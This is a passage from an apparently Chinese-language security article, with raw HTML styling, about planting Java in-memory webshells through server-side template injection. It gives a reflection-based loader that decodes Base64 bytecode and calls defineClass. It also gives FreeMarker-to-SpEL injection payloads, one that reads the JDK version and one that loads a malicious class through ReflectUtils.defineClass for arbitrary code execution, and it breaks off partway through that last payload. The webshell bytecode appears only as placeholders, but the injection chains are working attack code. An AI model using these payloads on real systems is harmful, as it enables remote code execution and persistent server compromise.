<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">catch(e){</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">    clsString=classLoader.loadClass('java.lang.String');</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">    bytecodeBase64='这里填入base64的内存马';</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">    try{</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        clsBase64=classLoader.loadClass('java.util.Base64');</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        clsDecoder=classLoader.loadClass('java.util.Base64$Decoder');</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        decoder=clsBase64.getMethod('getDecoder').invoke(base64Clz);</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        bytecode=clsDecoder.getMethod('decode',clsString).invoke(decoder,bytecodeBase64);</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">    }catch(ee){</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        try{</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">            datatypeConverterClz=classLoader.loadClass('javax.xml.bind.DatatypeConverter');</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">            bytecode=datatypeConverterClz.getMethod('parseBase64Binary',clsString).invoke(datatypeConverterClz,bytecodeBase64);</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        }catch(eee){</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">            clazz1=classLoader.loadClass('sun.misc.BASE64Decoder');</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">            bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        }</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">    }</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">clsClassLoader=classLoader.loadClass('java.lang.ClassLoader');</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">clsByteArray=(''.getBytes().getClass());</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">clsInt=java.lang.Integer.TYPE;</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">defineClass=clsClassLoader.getDeclaredMethod('defineClass',[clsByteArray,clsInt,clsInt]);</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">defineClass.setAccessible(true);</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">clazz.newInstance();</span></span></p></section></section></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section></section></section></section><section style="margin-bottom:unset;"><section style="margin-bottom:unset;"><section data-support="96编辑器" style="text-align:center;margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top: 40px;margin-right: auto;margin-left: auto;"><section style="display:inline-block;margin-bottom:unset;"><section style="width: 31px;margin-right: -16px;margin-left: auto;margin-bottom: unset;"><section nodeleaf=""><img src="/uploads/2025/04/0f4e7d84358568e6e01dd65dba5ba993.png" style="vertical-align:bottom;"></section></section><section style="display:flex;justify-content:center;align-items:flex-start;margin-bottom:unset;margin-top:-14px;transform:rotateZ(0deg);-webkit-transform:rotateZ(0deg);-moz-transform:rotateZ(0deg);-ms-transform:rotateZ(0deg);-o-transform:rotateZ(0deg);"><section style="margin-right:3px;margin-bottom:unset;"><section style="margin-left:auto;width:13px;height:22px;background-color:#56a2f8;margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="width: 26px;margin-top: 6px;transform: rotateZ(0deg);"><section nodeleaf=""><img src="/uploads/2025/04/e0fca24df69eea4eecb30f39c6d61300.png" style="vertical-align:bottom;"></section></section></section><section style="background-color: rgb(0, 99, 218);padding: 8px 22px;margin-bottom: unset;"><p style="color:#fff;font-size:16px;letter-spacing:2px;"><strong data-aibrush="text"><span leaf="">高版本JDK下植入内存马</span></strong></p></section></section></section></section></section></section><section data-support="96编辑器" style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="background-color: rgb(254, 254, 254);padding: 5px 12px 15px;margin-top: 20px;margin-right: 10px;margin-left: 10px;margin-bottom: unset;"><section style="margin-bottom:unset;"><section style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top:15px;margin-bottom:unset;"><p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><strong><span style="color:#000000;font-family:宋体;"><span style="font-size:16px;"><span leaf="">初级payload</span></span></span></strong></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">高版本JDK不再内置js引擎或者极少数低版本jdk也不支持js引擎的情况，为应对这种情况可以尝试通过spel表达式实现注入内存马，以下为</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">FreeMarker 模板引擎</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">结合</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">Spring Expression Language (SpEL)</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf=""> 实现获取jdk版本的payload。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("{T(java.lang.System).getProperty(\"java.version\")}").getValue()}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">分段来解析上述代码结构:</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l8 level1 lfo1;"><span style='font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">1.</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression()</span></span></strong><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:36.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l3 level2 lfo2;"><span style='font-family:"Courier New";mso-fareast-font-family:宋体;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">o </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">通过freemarker内置的new方法实例化SpelExpressionParser类并调用parseExpression方法等待解析spel表达式。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l5 level1 lfo3;"><span style='font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">2.</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">{T(java.lang.System).getProperty(\"java.version\")}</span></span></strong><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:36.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l2 level2 lfo4;"><span style='font-family:"Courier New";mso-fareast-font-family:宋体;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">o </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">spel表达式，调用system类下getProperty获取jdk版本。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l1 level1 lfo5;"><span style='font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";color:#404040;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">3.</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">getValue()</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">:</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:36.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l0 level2 lfo6;"><span style='font-family:"Courier New";mso-fareast-font-family:宋体;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">o </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">执行解析后的 SpEL 表达式，并返回结果。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">用到的spel表达式知识：</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l7 level1 lfo7;"><span style='font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">1.</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">类型表达式T()</span></span></strong><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:36.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l9 level2 lfo8;"><span style='font-family:"Courier New";mso-fareast-font-family:宋体;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">o </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">T(全限定类名)</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">：返回此类的类对象，可以直接调用该类的静态方法/变量。</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">注意，此处获取的是此类的类对象而不是实力对象，因此无法调用非静态方法。如，</span></span></strong><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">{T(javax.script.ScriptEngineManager).getEngineByName("js")</span></span></strong><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">此种写法就是错误的，因为getEngineByName方法是非静态方法。</span></span></strong><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l4 level1 lfo9;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">2.</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">在spel表达式中可以使用new方法。</span></span></strong><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:36.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l6 level2 lfo10;"><span style='font-family:"Courier New";mso-fareast-font-family:宋体;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">o </span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">{T(javax.script.ScriptEngineManager).getEngineByName("js")</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">可以使用</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">new javax.script.ScriptEngineManager().getEngineByName("js")</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">来实现。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">spel表达式注入内存马，前半部分与上述payload一致既创建spel表达式解析器</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("[spel表达式]")</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">spel表达式部分，通过org.springframework.cglib.core.ReflectUtils类defineClass方法动态加载恶意类以实现任意代码执行。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">{T(org.springframework.cglib.core.ReflectUtils).defineClass(</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">\"[注入器类名]\",</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">T(java.util.Base64).getDecoder().decode(\"[base64编码的内存马]\"),</span></span><span 